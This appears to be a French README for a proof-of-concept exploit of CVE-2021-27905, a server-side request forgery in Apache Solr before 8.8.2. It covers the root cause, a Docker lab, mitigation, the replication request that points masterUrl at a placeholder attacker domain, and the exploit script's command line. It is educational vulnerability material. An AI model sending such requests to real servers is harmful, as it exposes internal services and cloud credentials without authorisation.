
Apache Solr < 8.8.2 - Falsification de requête côté serveur
| N° | Titre |
|---|---|
| 1 | Vue d'ensemble |
| 2 | Cause racine |
| 3 | Preuve de concept |
| 4 | Atténuation (8.8.2+) |
| 5 | Référence |
À des fins éducatives et de recherche uniquement. N'utilisez pas ce code sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. Je ne suis pas responsable de toute utilisation abusive.
Il s'agit d'une vulnérabilité de type Server Side Request Forgery (SSRF) affectant Apache Solr (< 8.8.2) qui permet à des attaquants distants d'effectuer des requêtes HTTP arbitraires vers des systèmes internes ou externes via le paramètre masterUrl du gestionnaire de réplication, exposant potentiellement des services internes ou des métadonnées cloud sensibles.
Versions affectées : Toutes les versions antérieures à 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Le mécanisme de réplication dans Solr permet à un « replica » de récupérer les fichiers d'index depuis un « master/leader » en spécifiant un paramètre masterUrl ou leaderUrl. L'URL pointée via ce paramètre n'est pas correctement validée dans les versions affectées d'Apache Solr. Cela permet donc aux attaquants de convaincre le serveur d'accéder à une ressource distante de leur choix.
Flux vulnérable
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Le ReplicationHandler de Solr va :
masterUrl fourni pour télécharger les données d'index.CONFIGURATION DU LABORATOIRE
$ cd lab
$ docker compose up -d
# vérifier l'accessibilité
$ curl http://127.0.0.1:8983/solr
$ docker compose down
EXPLOITATION
# pour windows
$ python -m venv <NOM>
$ .\<NOM>\Scripts\activate
# pour linux
$ python3 -m venv <NOM>
$ source ./<NOM>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <CIBLE> --payload <PAYLOAD_SSRF>

Le ReplicationHandler de Solr a été corrigé pour :
masterUrl/leaderUrl pointe uniquement vers des hôtes approuvés.http, https uniquement)./replication avec une authentification ou de le supprimer complètement s'il n'est pas utilisé.